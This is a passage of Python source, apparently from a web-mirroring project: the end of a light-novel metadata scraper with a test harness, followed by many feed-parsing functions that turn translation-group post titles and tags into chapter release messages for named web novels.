		altn = self.getAltNames(content)
		if altn:
			kwargs['alt_names'] = altn
		else:
			kwargs['alt_names'] = []

		desc = self.getDescription(content)
		if desc:
			kwargs['description'] = desc
		else:
			kwargs['description'] = None

		pubdate, pubnames = self.getPubDate(content)
		if pubdate:
			kwargs['pubdate'] = pubdate
		else:
			kwargs['pubdate'] = None
		if pubnames:
			kwargs['pubnames'] = pubnames
		else:
			kwargs['pubnames'] = None

		if not 'author' in kwargs:
			kwargs['author'] = None
		if not 'illust' in kwargs:
			kwargs['illust'] = None


		return kwargs





	def processPage(self, url, content):

		soup = WebMirror.util.webFunctions.as_soup(self.content)

		self.extractSeries(self.pageUrl, soup)






##################################################################################################################################
##################################################################################################################################
##################################################################################################################################



	def extractContent(self):
		# print("Call to extract!")
		# print(self.amqpint)

		self.processPage(self.pageUrl, self.content)


def testJobFromUrl(url):
	import datetime
	import WebMirror.database
	return WebMirror.database.WebPages(
				state     = 'fetching',
				url       = url,
				starturl  = url,
				netloc    = "wat",
				distance  = WebMirror.database.MAX_DISTANCE-2,
				is_text   = True,
				priority  = WebMirror.database.DB_REALTIME_PRIORITY,
				type      = "unknown",
				fetchtime = datetime.datetime.now(),
				)



def test():
	print("Test mode!")
	import logSetup
	import WebMirror.Engine
	import multiprocessing
	logSetup.initLogging()

	c_lok = cookie_lock = multiprocessing.Lock()
	engine = WebMirror.Engine.SiteArchiver(cookie_lock=c_lok)



	engine.dispatchRequest(testJobFromUrl('http://lndb.info/light_novel/Gamers!'))
	engine.dispatchRequest(testJobFromUrl('http://lndb.info/light_novel/AntiMagic_Academy_The_35th_Test_Platoon'))
	engine.dispatchRequest(testJobFromUrl('http://lndb.info/light_novel/Madan_no_Ou_to_Vanadis'))
	engine.dispatchRequest(testJobFromUrl('http://lndb.info/light_novel/Aru_Hi,_Bakudan_ga_Ochitekite'))
	# engine.dispatchRequest(testJobFromUrl('http://www.royalroadl.com/fictions/latest-updates'))



if __name__ == "__main__":
	test()














# pylint: disable=C0112,R0911,R0912,W0612

from WebMirror.OutputFilters.util.MessageConstructors import buildReleaseMessage
from WebMirror.OutputFilters.util.TitleParsers import extractChapterVol
from WebMirror.OutputFilters.util.TitleParsers import extractChapterVolFragment
from WebMirror.OutputFilters.util.TitleParsers import extractVolChapterFragmentPostfix

import re

####################################################################################################################################################
def extractFlowerBridgeToo(item):
	'''
	# FlowerBridgeToo

	'''
	# Seriously, you were too lazy to type out the *tags*?
	# You only have to do it ONCE!
	# if 'MGA Translation' in item['tags']:
	# 	chp, vol = extractChapterVol(item['title'])
	# 	# Also called "Martial God Asura"
	# 	return buildReleaseMessage(item, 'Xiuluo Wushen', vol, chp)
	# elif 'Xian Ni' in item['tags'] or 'Xian Ni Translation' in item['tags']:
	# 	chp, vol = extractChapterVol(item['title'])
	# 	return buildReleaseMessage(item, 'Xian Ni', vol, chp)
	# elif 'JMG Translation' in item['tags']:  # Series was dropped, have lots of old releases
	# 	chp, vol = extractChapterVol(item['title'])
	# 	return buildReleaseMessage(item, 'Shaonian Yixian', vol, chp)

	# Return none since they've apparently migrated to releasing only on wuxiaworld
	return None


####################################################################################################################################################
def extractGravityTranslation(item):
	'''
	# Gravity Translation
	also
	# Gravity Tales
	# GravityTales

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	ltags = [tmp.lower().replace("’", "'") for tmp in item['tags']]

	if 'announcement' in ltags:
		return None

	if 'The King’s Avatar Chapter ' in item['title'] or \
		item['title'].startswith("The King’s Avatar (QZGS)") or \
		item['title'].startswith("TKA Chapter "):
		return buildReleaseMessage(item, 'The King\'s Avatar', vol, chp, frag=frag, postfix=postfix)
	if 'Against Heaven :' in item['title']:
		return buildReleaseMessage(item, 'Against Heaven', vol, chp, frag=frag, postfix=postfix)
	if 'Great Demon King' in item['title']:
		return buildReleaseMessage(item, 'Great Demon King', vol, chp, frag=frag, postfix=postfix)
	if 'zhan long' in ltags or \
		item['title'].startswith("ZL "):
		return buildReleaseMessage(item, 'Zhan Long', vol, chp, frag=frag, postfix=postfix)
	if 'quan zhi gao shou' in ltags or \
		item['title'].startswith("QZGS "):
		return buildReleaseMessage(item, 'Quan Zhi Gao Shou', vol, chp, frag=frag, postfix=postfix)
	if 'battle through the heavens' in ltags or \
		item['title'].startswith("BTTH "):
		return buildReleaseMessage(item, 'Battle Through the Heavens', vol, chp, frag=frag, postfix=postfix)
	if "Ascension of The Alchemist God" in item['title'] \
		or "TAG Chapter" in item['title']                  \
		or 'The Alchemist God: Chapter' in item['title']:
		return buildReleaseMessage(item, 'Ascension of the Alchemist God', vol, chp, frag=frag, postfix=postfix)
	if 'chaotic sword god' in ltags:
		return buildReleaseMessage(item, 'Chaotic Sword God', vol, chp, frag=frag, postfix=postfix)
	if 'true martial world' in ltags:
		return buildReleaseMessage(item, 'True Martial World', vol, chp, frag=frag, postfix=postfix)
	if 'wu dong qian kun' in ltags:
		return buildReleaseMessage(item, 'Wu Dong Qian Kun', vol, chp, frag=frag, postfix=postfix)
	if "demon's diary" in ltags:
		return buildReleaseMessage(item, "Demon's Diary", vol, chp, frag=frag, postfix=postfix)
	if 'blue phoenix' in ltags or \
		item['title'].startswith("Blue Phoenix Chapter"):
		return buildReleaseMessage(item, 'Blue Phoenix', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	if "the ancient's son" in ltags:
		return buildReleaseMessage(item, "The Ancient's Son", vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	if 'Might of the Stars' in item['title']:
		return buildReleaseMessage(item, 'Might of the Stars', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	if 'mo tian ji' in ltags:
		return buildReleaseMessage(item, 'Mo Tian Ji', vol, chp, frag=frag, postfix=postfix)
	if 'great demon king' in ltags:
		return buildReleaseMessage(item, 'Great Demon King', vol, chp, frag=frag, postfix=postfix)
	if 'heavenly star' in ltags:
		return buildReleaseMessage(item, 'Heavenly Star', vol, chp, frag=frag, postfix=postfix)
	if 'conquest' in ltags or 'Conquest Chapter' in item['title']:
		return buildReleaseMessage(item, 'Conquest', vol, chp, frag=frag, postfix=postfix)
	if 'shadow rogue' in ltags:
		return buildReleaseMessage(item, 'Shadow Rogue', vol, chp, frag=frag, postfix=postfix)
	if 'the divine elements' in ltags:
		return buildReleaseMessage(item, 'The Divine Elements', vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	if 'cult of the sacred runes' in ltags or item['title'].startswith("Cult of the Sacred Runes"):
		return buildReleaseMessage(item, 'Cult of the Sacred Runes', vol, chp, frag=frag, postfix=postfix)
	if 'Blood Hourglass' in item['title']:
		return buildReleaseMessage(item, 'Blood Hourglass', vol, chp, frag=frag, postfix=postfix)
	if "A Dragon's Curiosity" in item['tags']:
		return buildReleaseMessage(item, "A Dragon's Curiosity", vol, chp, frag=frag, postfix=postfix, tl_type='oel')
	if 'RMJI' in item['tags'] or (item['title'].startswith('RMJI') and 'Release' in item['title']):
		return buildReleaseMessage(item, "A Record of A Mortal's Journey to Immortality", vol, chp, frag=frag, postfix=postfix)
	if 'The Nine Cauldrons' in item['tags'] or item['title'].startswith('The Nine Cauldrons Chapter'):
		return buildReleaseMessage(item, 'The Nine Cauldrons', vol, chp, frag=frag, postfix=postfix)
	if 'The Trembling World' in item['tags']:
		return buildReleaseMessage(item, 'The Trembling World', vol, chp, frag=frag, postfix=postfix)
	if 'Ancient Strengthening Technique' in item['tags']:
		return buildReleaseMessage(item, 'Ancient Strengthening Technique', vol, chp, frag=frag, postfix=postfix)
	if 'Nine Heavenly Thunder Manual' in item['tags']:
		return buildReleaseMessage(item, 'Nine Heavenly Thunder Manual', vol, chp, frag=frag, postfix=postfix)
	if 'a record of a mortal\'s journey to immortality' in ltags:
		return buildReleaseMessage(item, 'A Record of a Mortal\'s Journey to Immortality', vol, chp, frag=frag, postfix=postfix)
	if 'martial world' in ltags or item['title'].startswith('MW Chapter'):
		return buildReleaseMessage(item, 'Martial World', vol, chp, frag=frag, postfix=postfix)
	if 'ancient godly monarch' in ltags:
		return buildReleaseMessage(item, 'Ancient Godly Monarch', vol, chp, frag=frag, postfix=postfix)
	if "i'm really a superstar" in ltags:
		return buildReleaseMessage(item, "I'm Really a Superstar", vol, chp, frag=frag, postfix=postfix)
	if "The Beginning After the End" in item['tags'] or item['title'].lower().startswith('the beginning after the end'):
		return buildReleaseMessage(item, "The Beginning After the End", vol, chp, frag=frag, postfix=postfix, tl_type='oel')

	if item['title'].lower().startswith('reincarnator'):
		return buildReleaseMessage(item, 'Reincarnator', vol, chp, frag=frag, postfix=postfix)
	if item['title'].lower().startswith('iras'):
		return buildReleaseMessage(item, 'I’m Really a Superstar', vol, chp, frag=frag, postfix=postfix)

	return False



####################################################################################################################################################
def extractBlueSilverTranslations(item):
	'''
	# Blue Silver Translations

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol or frag) or "preview" in item['title'].lower():
		return None

	if 'Douluo Dalu' in item['tags']:
		# Volume name is only in the tags.
		proc_str = "%s %s" % (item['tags'], item['title'])
		proc_str = proc_str.replace("'", " ")
		chp, vol = extractChapterVol(proc_str)

		if not (chp and vol):
			return False
		return buildReleaseMessage(item, 'Douluo Dalu', vol, chp)

	if 'Immortal Executioner' in item['tags']:
		return buildReleaseMessage(item, 'Immortal Executioner', vol, chp, frag=frag, postfix=postfix)
	if 'Stellar War Storm' in item['tags']:
		return buildReleaseMessage(item, 'Stellar War Storm', vol, chp, frag=frag, postfix=postfix)
	if 'Bringing The Farm To Live In Another World' in item['tags']:
		return buildReleaseMessage(item, 'Bringing The Farm To Live In Another World', vol, chp, frag=frag, postfix=postfix)

	return False




####################################################################################################################################################
def extractAlyschuCo(item):
	'''
	# Alyschu & Co

	'''
	# Whyyyy would you do these bullshit preview things!
	if "PREVIEW" in item['title'] or "preview" in item['title']:
		return False
	chp, vol = extractChapterVol(item['title'])
	if 'Against the Gods' in item['tags'] or 'Ni Tian Xie Shen (Against the Gods)' in item['title']:
		return buildReleaseMessage(item, 'Against the Gods', vol, chp)
	elif 'The Simple Life of Killing Demons' in item['tags']:
		return buildReleaseMessage(item, 'The Simple Life of Killing Demons', vol, chp)
	elif 'Magic, Mechanics, Shuraba' in item['title']:
		return buildReleaseMessage(item, 'Magic, Mechanics, Shuraba', vol, chp)
	elif 'The Flower Offering' in item['tags']:
		return buildReleaseMessage(item, 'The Flower Offering', vol, chp)
	return False


####################################################################################################################################################
def extractCalicoxTabby(item):
	'''
	# Calico x Tabby

	'''
	chp, vol, frag = extractChapterVolFragment(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if 'Meow Meow Meow' in item['tags']:
		return buildReleaseMessage(item, 'Meow Meow Meow', vol, chp, frag=frag)

	return False



####################################################################################################################################################
def extractDarkFish(item):
	'''
	# DarkFish Translations

	'''
	chp, vol, frag = extractChapterVolFragment(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'She Professed Herself The Pupil Of The Wise Man'.lower() in item['title'].lower() or \
		'She Professed Herself The Pupil Of The Wise Man'.lower() in [tmp.lower() for tmp in item['tags']]:
		return buildReleaseMessage(item, 'Kenja no Deshi wo Nanoru Kenja', vol, chp, frag=frag)
	# if 'Majin Tenseiki' in item['title']:
	return False


####################################################################################################################################################
def extractAzureSky(item):
	'''
	# extractAzureSky

	'''
	chp, vol, frag = extractChapterVolFragment(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if 'Shinde Hajimaru'.lower() in item['title'].lower():
		postfix = ''
		if "prologue" in item['title'].lower():
			postfix = 'Prologue'
		return buildReleaseMessage(item, 'Shinde Hajimaru Isekai Tensei', vol, chp, frag=frag, postfix=postfix)
	return False




####################################################################################################################################################
def extractClicky(item):
	'''
	# Clicky Click Translation

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if 'Legendary Moonlight Sculptor' in item['tags'] and any(['Volume' in tag for tag in item['tags']]):
		return buildReleaseMessage(item, 'Legendary Moonlight Sculptor', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
def extractDefiring(item):
	'''
	# Defiring

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if 'World teacher'.lower() in item['title'].lower() or 'World teacher' in item['tags']:
		return buildReleaseMessage(item, 'World teacher', vol, chp, frag=frag, postfix=postfix)
	if 'Shinka no Mi' in item['title']:
		return buildReleaseMessage(item, 'Shinka no Mi', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
def extractFanatical(item):
	'''
	# Fanatical Translations

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if 'One Life One Incarnation Beautiful Bones' in item['tags']:
		return buildReleaseMessage(item, 'One Life, One Incarnation - Beautiful Bones', vol, chp, frag=frag, postfix=postfix)
	if 'Best to Have Met You' in item['tags']:
		return buildReleaseMessage(item, 'Zuimei Yujian Ni', vol, chp, frag=frag, postfix=postfix)
	if 'Blazing Sunlight' in item['tags']:
		return buildReleaseMessage(item, 'Blazing Sunlight', vol, chp, frag=frag, postfix=postfix)
	if 'Wipe Clean After Eating' in item['tags']:
		return buildReleaseMessage(item, 'Chigan Mojing', vol, chp, frag=frag, postfix=postfix)
	if "Don't be So Proud" in item['tags']:
		return buildReleaseMessage(item, "Don't be So Proud", vol, chp, frag=frag, postfix=postfix)
	if "Together Forever" in item['tags']:
		return buildReleaseMessage(item, "Together Forever", vol, chp, frag=frag, postfix=postfix)
	if 'Your Humble Servant is Guilty!' in item['tags']:
		return buildReleaseMessage(item, 'Your Humble Servant is Guilty!', vol, chp, frag=frag, postfix=postfix)
	if 'Stewed Squid with Honey' in item['tags']:
		return buildReleaseMessage(item, 'Stewed Squid with Honey', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
def extractGiraffe(item):
	'''
	# Giraffe Corps

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if 'Ti Shen' in item['tags']:
		return buildReleaseMessage(item, 'Tishen', vol, chp, frag=frag, postfix=postfix)
	if 'True Star' in item['tags']:
		return buildReleaseMessage(item, 'Juxing', vol, chp, frag=frag, postfix=postfix)
	if 'Gong Hua' in item['tags']:
		return buildReleaseMessage(item, 'Gong Hua', vol, chp, frag=frag, postfix=postfix)
	if 'Chen Yue Zhi Yao' in item['tags']:
		return buildReleaseMessage(item, 'Chen Yue Zhi Yao', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
def extractGuhehe(item):
	'''
	# guhehe.TRANSLATIONS

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if 'ShominSample' in item['tags']:
		return buildReleaseMessage(item, 'Ore ga Ojou-sama Gakkou ni "Shomin Sample" Toshite Rachirareta Ken', vol, chp, frag=frag, postfix=postfix)
	if 'OniAi' in item['tags']:
		return buildReleaseMessage(item, 'Onii-chan Dakedo Ai Sae Areba Kankeinai yo ne', vol, chp, frag=frag, postfix=postfix)
	if 'Haganai' in item['tags']:
		return buildReleaseMessage(item, 'Boku wa Tomodachi ga Sukunai', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
def extractGilaTranslation(item):
	'''
	# Gila Translation Monster

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	ltags = [tmp.lower() for tmp in item['tags']]

	if 'dawn traveler' in ltags and 'translation' in ltags:
		return buildReleaseMessage(item, 'Dawn Traveler', vol, chp, frag=frag, postfix=postfix)
	if 'different world business symbol' in ltags and 'translation' in ltags:
		return buildReleaseMessage(item, 'Different World Business Symbol', vol, chp, frag=frag, postfix=postfix)
	if 'star sea lord' in ltags and 'translation' in ltags:
		return buildReleaseMessage(item, 'Star Sea Lord', vol, chp, frag=frag, postfix=postfix)
	if 'tensei shitara slime datta ken' in ltags and 'translation' in ltags:
		# This seems to have episodes, not chapters, which confuses the fragment extraction
		if not "chapter" in item['title'].lower() and chp:
			frag = None
		return buildReleaseMessage(item, 'Tensei Shitara Slime Datta Ken', vol, chp, frag=frag, postfix=postfix)
	return False

####################################################################################################################################################
def extractAFlappyTeddyBird(item):
	'''
	# A Flappy Teddy Bird

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if 'The Black Knight who was stronger than even the Hero' in item['title']:
		return buildReleaseMessage(item, 'The Black Knight Who Was Stronger than Even the Hero', vol, chp, frag=frag, postfix=postfix)
	return False

####################################################################################################################################################
def extractBinggoCorp(item):
	'''
	# Binggo & Corp Translations

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if 'Jiang Ye' in item['title'] and "Chapter" in item['title']:
		return buildReleaseMessage(item, 'Jiang Ye', vol, chp, frag=frag, postfix=postfix)
	if 'Ze Tian Ji' in item['title'] and "Chapter" in item['title']:
		return buildReleaseMessage(item, 'Ze Tian Ji', vol, chp, frag=frag, postfix=postfix)
	return False

####################################################################################################################################################
def extractArkMachineTranslations(item):
	'''
	# Ark Machine Translations

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if 'ark volume' in item['title'].lower():
		return buildReleaseMessage(item, 'Ark', vol, chp, frag=frag, postfix=postfix)

	if 'ark the legend volume' in item['title'].lower() or \
		'ATL' in item['tags']:
		return buildReleaseMessage(item, 'Ark The Legend', vol, chp, frag=frag, postfix=postfix)

	if 'lms volume' in item['title'].lower():
		return buildReleaseMessage(item, 'Legendary Moonlight Sculptor', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
def extractAvert(item):
	'''
	# Avert Translations

	'''

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (vol or chp or frag):
		return False
	if 'rokujouma' in item['title'].lower():
		return buildReleaseMessage(item, 'Rokujouma no Shinryakusha!', vol, chp, frag=frag, postfix=postfix)
	elif 'fuyo shoukan mahou' in item['title'].lower() \
		or 'fuyo shoukan mahou' in item['tags']        \
		or 'fuyou shoukan mahou' in item['title'].lower():
		return buildReleaseMessage(item, 'Boku wa Isekai de Fuyo Mahou to Shoukan Mahou wo Tenbin ni Kakeru', vol, chp, frag=frag, postfix=postfix)
	elif 'regarding reincarnated to slime chapter' in item['title'].lower() \
			or 'Tensei Shitara Slime Datta Ken' in item['tags']:
		return buildReleaseMessage(item, 'Tensei Shitara Slime Datta Ken', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
def extractBinhjamin(item):
	'''
	# Binhjamin

	'''

	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (vol or chp or frag or postfix):
		return False

	if ("SRKJ" in item['title'] or 'SRKJ-Sayonara Ryuu' in item['tags']) and (chp or vol):
		return buildReleaseMessage(item, 'Sayonara Ryuusei Konnichiwa Jinsei', vol, chp, frag=frag, postfix=postfix)
	if "Unborn" in item['title']:
		return buildReleaseMessage(item, 'Unborn', vol, chp, frag=frag, postfix=postfix)
	if "Bu ni Mi" in item['title'] \
		or '100 Years Of Martial Arts' in item['title']:
		return buildReleaseMessage(item, '100 Years Of Martial Arts', vol, chp, frag=frag, postfix=postfix)
	return False

####################################################################################################################################################
def extractBureiDan(item):
	'''
	# Burei Dan Works

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False
	if 'Isekai Canceller' in item['tags'] and (chp or vol or frag or postfix):
		return buildReleaseMessage(item, 'Isekai Canceller', vol, chp, frag=frag, postfix=postfix)
	if 'Kenja ni Natta' in item['tags'] and (chp or vol or frag or postfix):
		return buildReleaseMessage(item, 'Kenja ni Natta', vol, chp, frag=frag, postfix=postfix)
	if 'Han-Ryuu Shoujo no Dorei Raifu' in item['tags'] and (chp or vol or frag or postfix):
		return buildReleaseMessage(item, 'Han-Ryuu Shoujo no Dorei Raifu', vol, chp, frag=frag, postfix=postfix)
	if 'To Aru Ninki Jikkou Player no VRMMO Funtou Ki' in item['tags'] and (chp or vol or frag or postfix):
		return buildReleaseMessage(item, 'To Aru Ninki Jikkou Player no VRMMO Funtou Ki', vol, chp, frag=frag, postfix=postfix)
	return False

####################################################################################################################################################
def extractErosWorkshop(item):
	'''
	# Eros Workshop

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'Young God Divine Armaments' in item['tags'] and (chp or vol):
		return buildReleaseMessage(item, 'Young God Divine Armaments', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
def extractForgetfulDreamer(item):
	'''
	# Forgetful Dreamer

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'ヤンデレ系乙女ゲーの世界に転生してしまったようです' in item['tags'] and (chp or vol):
		return buildReleaseMessage(item, 'It seems like I got reincarnated into the world of a Yandere Otome game', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
def extractFudgeTranslations(item):
	'''
	# Fudge Translations

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'SoE' in item['title'] and (chp or vol):
		return buildReleaseMessage(item, 'The Sword of Emperor', vol, chp, frag=frag, postfix=postfix)
	if item['title'].startswith("Emperor of Solo Play Chapter") and (chp or vol):
		return buildReleaseMessage(item, 'Emperor of Solo Play', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
def extractEnTruceTranslations(item):
	'''
	# EnTruce Translations

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'kuro no maou' in item['title'].lower() and 'chapter' in item['title'].lower() and (chp or vol):
		return buildReleaseMessage(item, 'Kuro no Maou', vol, chp, frag=frag, postfix=postfix)
	if 'kuro no maou' in item['tags'] and (chp or vol):
		return buildReleaseMessage(item, 'Kuro no Maou', vol, chp, frag=frag, postfix=postfix)
	if 'maken no daydreamer' in item['tags'] and (chp or vol):
		return buildReleaseMessage(item, 'Maken no Daydreamer', vol, chp, frag=frag, postfix=postfix)
	if 'knw' in item['tags'] and (chp or vol):
		return buildReleaseMessage(item, 'Konjiki no Wordmaster', vol, chp, frag=frag, postfix=postfix)
	return False

####################################################################################################################################################
def extractClownTrans(item):
	'''
	# 'Translated by a Clown'

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'Tensei Shitara Slime datta ken' in item['tags'] and chp:
		return buildReleaseMessage(item, 'Tensei Shitara Slime Datta Ken', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
def extractAsherahBlue(item):
	'''
	# 'AsherahBlue's Notebook'

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'Juvenile Medical God' in item['tags']:
		return buildReleaseMessage(item, 'Shaonian Yixian', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
def extractAlcsel(item):
	'''
	# 'Alcsel Translations'

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'AR Chapter' in item['title']:
		return buildReleaseMessage(item, 'Assassin Reborn', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
def extractGuroTranslation(item):
	'''
	# 'GuroTranslation'

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])

	ltags = [tmp.lower() for tmp in item['tags']]

	if 'tensei shitara slime datta ken' in ltags:
		return buildReleaseMessage(item, 'Tensei Shitara Slime Datta Ken', vol, chp, frag=frag, postfix=postfix)
	if '1000 nin no homunkurusu no shoujo tachi ni kakomarete isekai kenkoku' in ltags:
		return buildReleaseMessage(item, '1000 nin no Homunkurusu no Shoujo tachi ni Kakomarete Isekai Kenkoku', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
def extractEnsjTranslations(item):
	'''
	# Ensj Translations

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	if 'King Shura' in item['tags']:
		return buildReleaseMessage(item, 'King Shura', vol, chp, frag=frag, postfix=postfix)
	if 'The Record of a Thousand Lives' in item['tags']:
		return buildReleaseMessage(item, 'The Record of a Thousand Lives', vol, chp, frag=frag, postfix=postfix)
	if 'Running Away From The Hero!' in item['tags']:
		if not frag:
			match = re.search(r'\((\d+)\)', item['title'])
			if match:
				frag = int(match.group(1))

		return buildReleaseMessage(item, 'Running Away From The Hero!', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
# B
def extractCeLn(item):
	'''

	####################################################################################################################################################
	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])

	if 'Seirei Gensouki' in item['tags'] and (chp or vol):
		return buildReleaseMessage(item, 'Seirei Gensouki - Konna Sekai de Deaeta Kimi ni', vol, chp, frag=frag, postfix=postfix)

	if 'Mushi Uta' in item['tags'] and (chp or vol):
		return buildReleaseMessage(item, 'Mushi-Uta', vol, chp, frag=frag, postfix=postfix)

	if 'Shinonome Yuuko series' in item['tags'] and (chp or vol):
		return buildReleaseMessage(item, 'Shinonome Yuuko wa Tanpen Shousetsu o Aishite Iru', vol, chp, frag=frag, postfix=postfix)

	if 'Mismarca Koukoku Monogatari' in item['tags'] and (chp or vol):
		return buildReleaseMessage(item, 'Mismarca Koukoku Monogatari', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractDreadfulDecoding(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])
	if not (chp or vol) or "preview" in item['title'].lower():
		return False

	extractVol = re.search(r'\[[A-Z]+(\d+)\]', item['title'])
	if not vol and extractVol:
		vol = int(extractVol.group(1))


	extractChp = re.search(r'SECT\.(\d+) ', item['title'])
	if chp == 1 and "SECT." in item['title'] and extractChp:
		chp = int(extractChp.group(1))




	if 'Gun Gale Online' in item['tags']:
		return buildReleaseMessage(item, 'Sword Art Online Alternative - Gun Gale Online', vol, chp, frag=frag, postfix=postfix)
	if 'RotTS' in item['tags']:
		return buildReleaseMessage(item, 'Sword Art Online Alternative - Rondo of the Transient Sword', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractBersekerTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])

	if 'Because the world has changed into a death game is funny' in item['tags'] and (chp or vol or "Prologue" in postfix):
		return buildReleaseMessage(item, 'Sekai ga death game ni natta no de tanoshii desu', vol, chp, frag=frag, postfix=postfix)

	return False


####################################################################################################################################################
#
####################################################################################################################################################
def extractBakaDogeza(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])

	if "chapter" in item['title'].lower() and (vol or chp):
		return buildReleaseMessage(item, 'Knights & Magic', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractCNovelProj(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])

	if 'Please Be More Serious' in item['tags'] and (chp or vol):
		return buildReleaseMessage(item, 'Please Be More Serious', vol, chp, frag=frag, postfix=postfix)

	if 'Still Not Wanting to Forget' in item['tags'] and (chp or vol):
		return buildReleaseMessage(item, 'Still Not Wanting to Forget', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractBeehugger(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])

	if 'Battle Emperor' in item['tags'] and (chp or vol):
		return buildReleaseMessage(item, 'Battle Emperor', vol, chp, frag=frag, postfix=postfix)
	if 'Sword Spirit' in item['tags'] and (chp or vol):
		return buildReleaseMessage(item, 'Sword Spirit', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractBuBuJingXinTrans(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])

	if 'bu bu jing xin' in item['tags'] and (chp or vol):
		return buildReleaseMessage(item, 'Bu Bu Jing Xin', vol, chp, frag=frag, postfix=postfix)

	return False

####################################################################################################################################################
#
####################################################################################################################################################
def extractEroLightNovelTranslations(item):
	'''

	'''
	vol, chp, frag, postfix = extractVolChapterFragmentPostfix(item['title'])

	if 'Adolescent Adam' in item['tags'] and (chp or vol):
		if 'Adolescent Adam 2' in item['title']:
			if not vol:
				vol = 1
			return buildReleaseMessage(item, 'Shishunki na Adam', vol+1, chp, frag=frag, postfix=postfix)
		return buildReleaseMessage(item, 'Shishunki na Adam', vol, chp, frag=frag, postfix=postfix)

	if 'Harem Castle' in item['tags'] and (chp or vol):
		return buildReleaseMessage(item, 'Harem Castle', vol, chp, frag=frag, postfix=postfix)
